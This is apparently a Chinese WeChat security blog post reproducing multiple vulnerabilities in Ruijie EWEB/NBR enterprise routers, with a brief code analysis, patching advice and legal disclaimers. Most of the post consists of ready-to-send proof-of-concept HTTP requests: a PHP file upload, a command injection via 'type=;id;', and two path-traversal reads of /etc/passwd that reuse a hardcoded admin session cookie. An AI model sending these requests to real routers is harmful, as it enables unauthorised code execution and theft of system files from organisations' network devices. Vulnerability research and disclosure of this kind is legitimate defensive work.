先关注，不迷路.
免责声明
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
漏洞介绍
EWEB 路由器是锐捷网络推出的企业级 Web 管理路由器，专为中小企业和分支机构设计，提供高性能路由、安全防护和便捷的 Web 管理功能。它支持多 WAN 接入、智能负载均衡和 VPN 连接，具备防火墙、流量控制及行为管理等安全特性，同时通过直观的 Web 界面简化配置与运维，满足企业高效、稳定、安全的网络接入需求。锐捷 NBR 路由器 存在多个漏洞，攻击者可通过该漏洞获取服务器权限或读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等，导致网站处于极度不安全状态。
漏洞复现
文件上传
POC:
(这微信页面直接复制代码格式会乱，可以浏览器打开复制)
POST /ddi/server/fileupload.php HTTP/1.1Host: xxxxx:4430User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Accept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXarDTbMzZe2hdNu2Content-Length: 272------WebKitFormBoundaryXarDTbMzZe2hdNu2Content-Disposition: form-data; name="uploadDir"upload------WebKitFormBoundaryXarDTbMzZe2hdNu2Content-Disposition: form-data; name="file";filename="2.php"phpinfo();------WebKitFormBoundaryXarDTbMzZe2hdNu2--
命令执行(需授权)
POST /flow_control_pi/flwo.control.php?a=setFlowGroup HTTP/1.1Host: xxxxx:4430User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 9Content-Type: application/x-www-form-urlencodedCookie: RUIJIEID=ob6i707k8q7ul54hf83b7pbsj6; user=adminAccept-Encoding: gzip, deflate, brConnection: keep-alivetype=;id;
文件读取(需授权)
POST /system_pi/timeout.php?a=getFile HTTP/1.1Host:xxxx:4430User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 22Content-Type: application/x-www-form-urlencodedCookie: RUIJIEID=ob6i707k8q7ul54hf83b7pbsj6; user=adminAccept-Encoding: gzip, deflate, brConnection: keep-alivefileName=../etc/passwd
POST /ddi/server/ipam.php?a=getIpamJson HTTP/1.1Host: xxxx:4430User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 17Content-Type: application/x-www-form-urlencodedCookie: RUIJIEID=ob6i707k8q7ul54hf83b7pbsj6; user=adminAccept-Encoding: gzip, deflate, brConnection: keep-alivepath=/etc/passwd&
漏洞分析
在init.php中通过获取a的值拼接action 可以访问 php文件中的任意方法
这里可以根据方法名，来构造post，拼接a=xxx来访问
命令执行
文件读取
文件读取
修复意见
1、官方已修复该漏洞，请用户联系厂商修复漏洞：https://www.ruijie.com.cn/
2、通过防火墙等安全设备设置访问策略，设置白名单访问。
3、如非必要，禁止公网访问该系统。
如有侵权，请及时联系删除。
原文始发于微信公众号（PokerSec）：【漏洞复现】锐捷EWEB 路由器多个漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论